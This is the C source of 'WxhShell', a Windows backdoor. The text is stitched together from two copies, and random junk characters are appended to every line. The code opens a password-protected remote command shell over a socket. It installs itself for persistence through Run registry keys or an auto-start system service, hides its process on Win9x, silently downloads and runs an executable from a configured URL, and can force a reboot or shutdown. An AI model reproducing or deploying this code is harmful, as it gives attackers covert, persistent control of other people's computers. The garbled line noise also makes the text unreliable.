    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y% 5eZ=z  
    if(Boot(SHUTDOWN)) mBON$sF|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OprkR  
    else { KL Xq\{X  
    closesocket(wsh); cD'V>[h  
    ExitThread(0); 6<(.4a?  
    } ( Px OE  
    break; W#3Q ^Z?  
    } 3=]sLn0L  
  // 获取shell ] {HI?V  
  case 's': { !0mI;~q|F  
    CmdShell(wsh); Gjo`&#  
    closesocket(wsh); $l&(%\pp  
    ExitThread(0); ~zNAbaC+>t  
    break; 'Ne@e)s9  
  } L8#5*8W6  
  // 退出 ~Vjl7G\7i  
  case 'x': { fNZ__gO!%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (0y~%J  
    CloseIt(wsh); s#=7IH30  
    break; ]}2ZttQ?  
    } -Wi` G  
  // 离开 C#Iybg  
  case 'q': { 3y8G?LL/[7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q;>7*Y&  
    closesocket(wsh); K?$^@ N  
    WSACleanup(); }s<4{:cv+  
    exit(1); aM0f/"-_  
    break; ax5<#3__  
        } ThbGQ"/  
  } u.Tcg^v  
  } =xx]@  
*>qp:;,DKP  
  // 提示信息 _&ks1cw  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^V Zk+'4  
} ^iw'^6~  
  } (|1A?@sJ#h  
=k`Cr0aPF  
  return; * U=s\  
} Qtv&ijFC  
VrQmP  
// shell模块句柄 FNY8tv*/x  
int CmdShell(SOCKET sock) ):_\;.L  
{ A*P|e-&Q8  
STARTUPINFO si; =uYYsC\T  
ZeroMemory(&si,sizeof(si)); Ob`d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @8rx`9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0eu$ W  
PROCESS_INFORMATION ProcessInfo; 3H6lBF  
char cmdline[]="cmd"; _k ~KZ;l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7f!YoW;1  
  return 0; fbKkq.w  
} 8=uu8-l8g  
6){]1h"  
// 自身启动模式 )@Yf]qx+Y<  
int StartFromService(void) P?B;_W+~A.  
{ qPy1;maXP  
typedef struct fnX`Q[b4\A  
{ B s#hr3h-  
  DWORD ExitStatus; aYS!xh206  
  DWORD PebBaseAddress; sAS:-wp  
  DWORD AffinityMask; *XbEiMJ  
  DWORD BasePriority; 4UvZ)^r  
  ULONG UniqueProcessId; _Wq  
  ULONG InheritedFromUniqueProcessId; p=GBUII #  
}   PROCESS_BASIC_INFORMATION; :AF =<X*5  
QoIT*!  
PROCNTQSIP NtQueryInformationProcess; mA+&Io  
hYNY"VB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p#?7 w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  s ;oQS5Y  
'~[d=fwH  
  HANDLE             hProcess; Vjp1RWb  
  PROCESS_BASIC_INFORMATION pbi; EwC{R`  
v)l8@.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pg.ri64H<  
  if(NULL == hInst ) return 0; A1D^a,  
}v*G_}^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L>W'LNXCv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s{S4J'VW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w?wG(+X7  
0y;*Cfi9  
  if (!NtQueryInformationProcess) return 0; E2@65b$  
r1.nTO%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); . Z.)t  
  if(!hProcess) return 0; %g$V\zmU  
6[LM_eP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o-{[|/)Tk  
QnXA*6DJ  
  CloseHandle(hProcess); O[s{ Gk'>  
?_$=l1vf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I)cFG{~L  
if(hProcess==NULL) return 0; ];a=Pn-:}G  
;WM"cJo9  
HMODULE hMod; EB=-H#  
char procName[255]; [}/LD3  
unsigned long cbNeeded; jR2 2t`4  
RIXMJ7e7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z4+k7a@jn  
v!Pb`LCqK  
  CloseHandle(hProcess); ^3{TZ=_;|  
9:,\gw>F  
if(strstr(procName,"services")) return 1; // 以服务启动 e2ilB),  
-/cZeQDPb  
  return 0; // 注册表启动 c^u"I'#Q  
} 04'~ta(t  
~ ! 3I2  
// 主模块 3k# /{Z  
int StartWxhshell(LPSTR lpCmdLine) U.XNv-M  
{ \"^w'ng  
  SOCKET wsl; '0uh D.|G  
BOOL val=TRUE; :Jy'# c  
  int port=0; gu<'QV"  
  struct sockaddr_in door; Y"Ql!5=  
.k9{Yv0  
  if(wscfg.ws_autoins) Install(); Tekfw  
!+4cqO  
port=atoi(lpCmdLine); Z@&Dki  
s#DaKPC  
if(port<=0) port=wscfg.ws_port; {R61cD,n  
J-) XQDD  
  WSADATA data; xY U.D+RY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;._7jFj.  
N:tY":Hi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )m{Ye0!RD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x{,q]u /  
  door.sin_family = AF_INET; @` Eg(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <Ib[82PU  
  door.sin_port = htons(port); :.d:9Z|_  
J9Ou+6u(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P*@2.#oO  
closesocket(wsl); OY5OJ*   
return 1; .G(llA}  
} wm")[!h)v  
QgD g}\P  
  if(listen(wsl,2) == INVALID_SOCKET) { W4U@%b do  
closesocket(wsl); VX+jadYdq  
return 1; vZ N!Zl7S  
} !F4@KAv  
  Wxhshell(wsl); D8nD/||;Z  
  WSACleanup(); f{i8w!O"~  
`S.ZS}~!F  
return 0; PN<C=gAe  
)d-.M  
} 80Y\|)  
6uKMCQ=h  
// 以NT服务方式启动 @]c(V%x   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b}w C|\s  
{ ls`,EFF  
DWORD   status = 0; ?@t  d  
  DWORD   specificError = 0xfffffff;  6XJ[h  
z rv#Xa!O\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $DC*i-}qFg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fr}Eaa-{^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q@~L&{  
  serviceStatus.dwWin32ExitCode     = 0; _#s=h_ FD  
  serviceStatus.dwServiceSpecificExitCode = 0; + "}=d3E6  
  serviceStatus.dwCheckPoint       = 0; GF:`>u{C  
  serviceStatus.dwWaitHint       = 0; #:|+XLL  
~!d/8?!   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l Js <  
  if (hServiceStatusHandle==0) return; a7/-wk  
,prF6*g+WE  
status = GetLastError(); <{:  
  if (status!=NO_ERROR) %|l8f>3[  
{ tYqs~B3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j! NO|&k  
    serviceStatus.dwCheckPoint       = 0; 1b>C<\  
    serviceStatus.dwWaitHint       = 0; ;t> Z+O%  
    serviceStatus.dwWin32ExitCode     = status; $]&(7@'qo  
    serviceStatus.dwServiceSpecificExitCode = specificError; Tv]<SI<B[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !epgTN  
    return; Y'3}G<'%  
  } 5Wj; [2 )  
Xvok1NM,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !lmWb-v%36  
  serviceStatus.dwCheckPoint       = 0; 9>#:/g/  
  serviceStatus.dwWaitHint       = 0; NO K/<_/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R,!Q Zxmg  
} YEx)"t8E  
V' 2EPYB  
// 处理NT服务事件,比如:启动、停止 |m?vVLq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tAFti+Qb  
{ v)kEyX'K2d  
switch(fdwControl) Zz |MIGHm  
{ p'?w2YN/  
case SERVICE_CONTROL_STOP: yWHiw<  
  serviceStatus.dwWin32ExitCode = 0; )W&>[B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W;Jx<-#1  
  serviceStatus.dwCheckPoint   = 0; :y,v&Kk#T  
  serviceStatus.dwWaitHint     = 0; =vh8T\  
  { z&$/EP-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dYojm1MQ  
  } Q7o5R{.oJ  
  return; F[7x*-NO-  
case SERVICE_CONTROL_PAUSE: f|aDTWF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]&i+!$N_  
  break; D;F{1[s(  
case SERVICE_CONTROL_CONTINUE: E)t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -#A:`/22  
  break; /=#~  
case SERVICE_CONTROL_INTERROGATE: x@cN3O  
  break; Lg`Jp&Kg  
}; g.#+z'l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r<L#q)]  
} ;? uC=o>Z{  
gw3NS8 A+  
// 标准应用程序主函数 2+9 2Q_+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {rkn q_;0  
{ 8]0:1 {@  
8h?X!2Nq  
// 获取操作系统版本 ~k4W<   
OsIsNt=GetOsVer(); f'dK73Xof  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dTD5(}+J  
2neRJ  
  // 从命令行安装 X#+`e+Df  
  if(strpbrk(lpCmdLine,"iI")) Install(); f@:CyB GQ  
~'  =lou  
  // 下载执行文件 i@<~"~>]7  
if(wscfg.ws_downexe) { I Ru$oF}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BxX$5u  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q.(51]'  
} qCJ=Z  
~2N-k1'-'  
if(!OsIsNt) { dB|Te"6  
// 如果时win9x,隐藏进程并且设置为注册表启动 o*7yax  
HideProc(); bBE^^9G=Z  
StartWxhshell(lpCmdLine); Jc~E"x  
} W<gD6+=8  
else JY4_v>Aob  
  if(StartFromService()) ] EyeBF)$  
  // 以服务方式启动 {u]CHN`%Z  
  StartServiceCtrlDispatcher(DispatchTable); p\ txlT  
else Ry%YM,K3  
  // 普通方式启动 PbUI!Xqe`  
  StartWxhshell(lpCmdLine); f0F#Yi{fw  
8D~Dd!~P  
return 0; .D@/y uV  
} [n<.fw8$b  
x9*ys;~w  
ucFw,sB1  
"X?LAo  
=========================================== .xv ^G?GG  
Nzc>)2% N  
<<BQYU)Ig  
 ,(hY%M&\  
anitqy#E  
V9$-twhu  
" 2 TCRS#z  
5k`e^ARf  
#include <stdio.h> v j@V !j?  
#include <string.h> k*9%8yi_ U  
#include <windows.h> &x/k^p=  
#include <winsock2.h> = P8~n2V  
#include <winsvc.h> $pBr &,  
#include <urlmon.h> fsb=8>}63}  
?',}? {"c  
#pragma comment (lib, "Ws2_32.lib") ^*zW"s  
#pragma comment (lib, "urlmon.lib") Pb=rFas*C  
$:HLRl{2E  
#define MAX_USER   100 // 最大客户端连接数 <wqRk<  
#define BUF_SOCK   200 // sock buffer H.;yLL=  
#define KEY_BUFF   255 // 输入 buffer Rmgxf/  
cl#OvQ  
#define REBOOT     0   // 重启 8|_K  
#define SHUTDOWN   1   // 关机 JbVi1?c  
(HaU,vP  
#define DEF_PORT   5000 // 监听端口 \Em-.%c  
V'$oTZ`  
#define REG_LEN     16   // 注册表键长度 ees^O{ 8  
#define SVC_LEN     80   // NT服务名长度 A9.;>8!u  
+"G(  
// 从dll定义API kt5YgW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z'v9j_\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zh hGqz[K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <X9T-b"$h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d<)s@Ntgm  
w-8)YJ Y  
// wxhshell配置信息 KXDz'9_  
struct WSCFG { @<%oIE~]F  
  int ws_port;         // 监听端口 mKMGdN~  
  char ws_passstr[REG_LEN]; // 口令 cEtZ}2,j  
  int ws_autoins;       // 安装标记, 1=yes 0=no +&zb^C`J  
  char ws_regname[REG_LEN]; // 注册表键名 :0|Hcg  
  char ws_svcname[REG_LEN]; // 服务名 3 pHn_R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S@;&U1@h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .w=:+msL{(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }$&);7(w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |' !7F9GP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ENpaaW@!Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 </2,2AV4q*  
|^\ Hv5  
}; YGi/]^Nba  
Fj36K6!#?  
// default Wxhshell configuration '&1  
struct WSCFG wscfg={DEF_PORT, kz3?j<  
    "xuhuanlingzhe", yDDghW'\WU  
    1, w@4t$bd7  
    "Wxhshell", |A2W8b {]  
    "Wxhshell", =t ~+63)  
            "WxhShell Service", LJ:mJ#  
    "Wrsky Windows CmdShell Service", R'jUS7]Y  
    "Please Input Your Password: ", [+Yl;3 &]  
  1, h,Y{t?Of  
  "http://www.wrsky.com/wxhshell.exe", :H~UyrN  
  "Wxhshell.exe" wGZ>iLe:  
    }; xop-f#U*  
UA1]o5K  
// 消息定义模块 {IF}d*:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h0&>GY;i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w+URCj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;Hz`0V  
char *msg_ws_ext="\n\rExit."; vCYSm  0  
char *msg_ws_end="\n\rQuit."; g!~-^_F  
char *msg_ws_boot="\n\rReboot..."; ym-lT|>Z  
char *msg_ws_poff="\n\rShutdown..."; FCUVP,"T  
char *msg_ws_down="\n\rSave to "; JMl ,  N  
iqc4O /  
char *msg_ws_err="\n\rErr!"; oP 6.t-<dU  
char *msg_ws_ok="\n\rOK!"; >e5q2U   
~ 4p]E'b  
char ExeFile[MAX_PATH]; 4O5n6~24  
int nUser = 0; 6:SK{RSURC  
HANDLE handles[MAX_USER]; /ynKKJx<Y  
int OsIsNt; 1"~O"msb  
*Xf[b)FR  
SERVICE_STATUS       serviceStatus; '=Ip5A{S/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <s59OdzP  
+aXMHT"U  
// 函数声明 u(TgWp5WF  
int Install(void); '? !7 Be  
int Uninstall(void); Azdz3/  
int DownloadFile(char *sURL, SOCKET wsh); Lv`8jSt\  
int Boot(int flag); w|K(>5nz  
void HideProc(void); ePPp)=  
int GetOsVer(void); @[[C s*-  
int Wxhshell(SOCKET wsl); )edU <1P  
void TalkWithClient(void *cs); g9 grfN  
int CmdShell(SOCKET sock); zO7lsx2 =  
int StartFromService(void); a3(7{,Ew  
int StartWxhshell(LPSTR lpCmdLine); 3f7t%  
7#~m:K@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8)ebXc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,_TH@0{   
pRDON)$  
// 数据结构和表定义 sEgeS9a{  
SERVICE_TABLE_ENTRY DispatchTable[] = GFy0R"&d[  
{ t Sh}0N)  
{wscfg.ws_svcname, NTServiceMain}, ??esB&4?  
{NULL, NULL} )Zu Q;p  
}; zei9,^ C  
;)bF#@Q  
// 自我安装 Pvb+   
int Install(void) aLyhxmn ^)  
{ $'I$n  
  char svExeFile[MAX_PATH]; "*H'bzK  
  HKEY key; y>pq*i  
  strcpy(svExeFile,ExeFile); H(*=9  
07G*M ]  
// 如果是win9x系统,修改注册表设为自启动 U K]{]-  
if(!OsIsNt) { +%cr?g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VQW)qOR9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T\$^>@  
  RegCloseKey(key); 4- ?`#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b6E8ase:F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q1>Op$>h  
  RegCloseKey(key); +ouy]b0`t  
  return 0; @gVyLefS6g  
    } (qc!-Isd~[  
  } l4BO@   
} X7B)jH%N  
else { =~2 Uv>YG  
4Xb}I;rM  
// 如果是NT以上系统,安装为系统服务 ] F) -}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3lrZ-k+S{  
if (schSCManager!=0) N~K)0RETn  
{ B,na  
  SC_HANDLE schService = CreateService R.WsC bU  
  ( =D"63fP1  
  schSCManager, HBf8!\0|/  
  wscfg.ws_svcname, kjKpzdbD  
  wscfg.ws_svcdisp, \5pAG mgD  
  SERVICE_ALL_ACCESS, x9 L\"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8VGXw;(Y,d  
  SERVICE_AUTO_START, tpzdYokh >  
  SERVICE_ERROR_NORMAL, T.N7`  
  svExeFile, }ucg!i3C  
  NULL, vX24W*7  
  NULL, /4BXF4ksi,  
  NULL, Z`KXXlJ^i  
  NULL, g' U^fN  
  NULL 7%}}m&A7h  
  ); U>jk`?zW  
  if (schService!=0) w:@M|O4`  
  { 2n:J7PGD  
  CloseServiceHandle(schService); 9+|,aG s  
  CloseServiceHandle(schSCManager); y+x>{!pw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V]cY+4Y  
  strcat(svExeFile,wscfg.ws_svcname); KA2B3\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3<E$m *  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xF31%b`z:  
  RegCloseKey(key); l@jJJ)Qyk  
  return 0; 2b` M(QL  
    } DQQjx>CK  
  } y_r6T XnGL  
  CloseServiceHandle(schSCManager); dAt[i \S  
} =D$r5D/xd  
} )q-!5^ak  
0R%58,R  
return 1; |?W   
} \Nyxi7  
^yZEpQN_  
// 自我卸载 7[ji,.7  
int Uninstall(void) Ro$XbU)  
{ h2 <$L  
  HKEY key; .r"?w  
A+8b] t_k  
if(!OsIsNt) { Ry~LhU:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <3CrCEPC  
  RegDeleteValue(key,wscfg.ws_regname); [D\AVx&  
  RegCloseKey(key); >f/g:[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !IU*Ayg  
  RegDeleteValue(key,wscfg.ws_regname); -6>rR{z  
  RegCloseKey(key); i i Y[  
  return 0; rP_)*)  
  } {`55nwd  
} y9<Fv|Ric  
} I78pul8!  
else { gQwmYe  
cxdM!L; `  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #YdU,y=B  
if (schSCManager!=0) #Xly5J  
{ #\QC%"%f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X=~QE}x  
  if (schService!=0) TXv#/@  
  {  `SrVMb(  
  if(DeleteService(schService)!=0) { &|eQLY #l  
  CloseServiceHandle(schService); HS9U.G>  
  CloseServiceHandle(schSCManager); `!N?#N:b)  
  return 0; 471}'3  
  } |n8^Xsx4w  
  CloseServiceHandle(schService); L zC~>Uj  
  } uyIA]OtyN  
  CloseServiceHandle(schSCManager); V-0Y~T  
} <D}k@M Z  
} j*}xe'#  
uWE@7e4'I  
return 1; g;T`~  
} >{Djx  
tTal<4  
// 从指定url下载文件 aL}_j#m{  
int DownloadFile(char *sURL, SOCKET wsh) mMH0 o  
{ 3( kZfH~  
  HRESULT hr; C 4,W[L]4"  
char seps[]= "/"; A\>qoR!Y  
char *token; gO%3~f!vY#  
char *file; %VCHM GP=  
char myURL[MAX_PATH]; ?fG Y,<c  
char myFILE[MAX_PATH]; lKcnM3n  
KC'{>rt7  
strcpy(myURL,sURL); = 4L.  
  token=strtok(myURL,seps); " PPwJ/L(  
  while(token!=NULL) "\ md  
  { &I8ZVtg  
    file=token; lCXo+|$?s  
  token=strtok(NULL,seps); utv.uwfat  
  } qW*)]s)z  
Jh1fM`kB5K  
GetCurrentDirectory(MAX_PATH,myFILE); .vg;K@{  
strcat(myFILE, "\\"); y$rp1||lH  
strcat(myFILE, file); 3f0RMk$pH  
  send(wsh,myFILE,strlen(myFILE),0); rnUe/HjH  
send(wsh,"...",3,0); >K3Lww)Ln  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 38 F8(QU{  
  if(hr==S_OK) 70@:!HI]  
return 0; 4?`7XJ0a  
else wXe.zLQ  
return 1; [||$1u\%  
:7gIm|2"]  
} gU:jx  
^+88z>  
// 系统电源模块 6B=J*8 Hs  
int Boot(int flag) h8Gp>b  
{ hq|/XBd||  
  HANDLE hToken; :0/I2:  
  TOKEN_PRIVILEGES tkp; lq74Fz&(  
&0'BCT  
  if(OsIsNt) { CAk.2C/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d4/ZOj+%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EG,RlmcPp  
    tkp.PrivilegeCount = 1; 'Q# KjY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Xh5 z8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >Gkkr{s9  
if(flag==REBOOT) { r!+)U#8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w;XXjT  
  return 0; TWMD f  
} opKtSF|)  
else { gqE{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d bw`E"g  
  return 0; rxO|k0x^C  
} _("{fJ,A  
  } =KkHck33  
  else { rQU;?[y  
if(flag==REBOOT) { ,{$:Q}`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Xr-eDUEi  
  return 0; tcfUhSz,I  
} dI3U*:$X  
else { S>nM&758  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ds`a6>746  
  return 0;  e tY9Pq  
} Lf3:' n  
} Pl U!-7  
2%QY~Ku~  
return 1; u>}k+8~  
} : -OHD#>%  
F9N)UW:w  
// win9x进程隐藏模块 t68h$u  
void HideProc(void) &q>=6sQvf  
{ Ie4}F|#=  
+h"RXwlBM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F]x o*  
  if ( hKernel != NULL ) D3$}S{Yw1  
  { in$Pk$ c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +c?1\{M   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k? X7h2  
    FreeLibrary(hKernel); lj(}{O  
  } A~u-Iv(U  
"YM)bc  
return; a8''t_Dp  
} !>+YEZ"  
xDm^f^}>  
// 获取操作系统版本 S 7RB` I5  
int GetOsVer(void) &jr'vS[b  
{ YvRMUT  
  OSVERSIONINFO winfo; h5>JBLawQP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lUbQ@7a<'  
  GetVersionEx(&winfo); Mz_*`lRN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6p])2]N>p  
  return 1; W&qE_r  
  else Nw* >$v  
  return 0; HsO4C)/  
} {fmSmD  
0& 54xP  
// 客户端句柄模块 "CX&2Xfe  
int Wxhshell(SOCKET wsl) LNPwb1)  
{ =y.?=`"  
  SOCKET wsh;  $ac VJI?  
  struct sockaddr_in client; eKsc ["  
  DWORD myID; ?VmE bl  
|hk?'WGc`0  
  while(nUser<MAX_USER) >fNRwmi  
{ XDRw![H,~  
  int nSize=sizeof(client); gZ8n[zxf6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )5Mf,  
  if(wsh==INVALID_SOCKET) return 1; Sxa+"0d6  
Wz',>&a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5srj|'ja  
if(handles[nUser]==0) eD2u!OKW!  
  closesocket(wsh); }}y~\TB~}  
else b ;A(6^V  
  nUser++; ~\<aj(m(|  
  } w a7)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uY{V^c#mv  
N{w)}me[YY  
  return 0; v0v%+F#>@  
} lB3@ jF  
g:V8"'  
// 关闭 socket ~?`V$G=?,  
void CloseIt(SOCKET wsh) JO{Rth  
{ f}qR'ognUu  
closesocket(wsh); b5NPG N  
nUser--; 3z5w}qN] M  
ExitThread(0); U (*k:Fw  
} %an"cQ ]  
ZxW4 i  
// 客户端请求句柄 ;]XKe')  
void TalkWithClient(void *cs) RHe'L36W  
{ e !BablG[  
OcWy#,uC  
  SOCKET wsh=(SOCKET)cs; :jo !Yi  
  char pwd[SVC_LEN]; Ni bOtIZ  
  char cmd[KEY_BUFF]; /1OzX'5f  
char chr[1]; :56f  
int i,j; c0}* $e  
]m&cVy&  
  while (nUser < MAX_USER) { ?2LRMh")$  
*|97 g*G(  
if(wscfg.ws_passstr) { n^kszIu~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ii,/omn:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OZ,%T9vP  
  //ZeroMemory(pwd,KEY_BUFF); 01~&H8 =  
      i=0; ~Q4 emgBD  
  while(i<SVC_LEN) { 1"7Rs}l7  
9'tOF  
  // 设置超时 q4Z9;^S  
  fd_set FdRead; 35>VCjCw0  
  struct timeval TimeOut; '(N -jk  
  FD_ZERO(&FdRead); 9#C hn~ \  
  FD_SET(wsh,&FdRead); {-FS+D`  
  TimeOut.tv_sec=8; o'uv5asdb  
  TimeOut.tv_usec=0; X }UR\8g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f/!^QL{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [ vWcQ6m  
5yC$G{yV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4|PNsHXt  
  pwd=chr[0]; +aa( YGL  
  if(chr[0]==0xd || chr[0]==0xa) { r&qF v)0!`  
  pwd=0; IYb%f T  
  break; d`M]>EDXp  
  } P8Nzz(JF  
  i++; y}TiN!M  
    } {OK+d#=  
">?ocJ\9  
  // 如果是非法用户,关闭 socket Cq-d,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g`(' k5=  
} +s(JutC  
?hW?w$C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k{fTq KS%h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =v (MdjwFl  
!kzC1U  
while(1) { m@qM|%(0x  
F.nJX ZnJ  
  ZeroMemory(cmd,KEY_BUFF); zP[_ccW@  
z% ln}  
      // 自动支持客户端 telnet标准   |(mr&7O  
  j=0; fWr6f`de  
  while(j<KEY_BUFF) { J|ni'Hb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q;Y9_5S  
  cmd[j]=chr[0]; *Ey5F/N}$H  
  if(chr[0]==0xa || chr[0]==0xd) { Y+ZQN>  
  cmd[j]=0; m~upTQz  
  break; cy R K&J  
  } m5m'ByX(*  
  j++; ~S5wfx&  
    } &3jq'@6  
v^Vr^!3  
  // 下载文件 /U|>  
  if(strstr(cmd,"http://")) { pP1|/f5n`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +Xb )bfN  
  if(DownloadFile(cmd,wsh)) }7`HJ>+m)H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 95`Q=I|i  
  else l~f>ve|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jGM+  
  } 4v@urW s  
  else { qb rf;`  
ER z@o_  
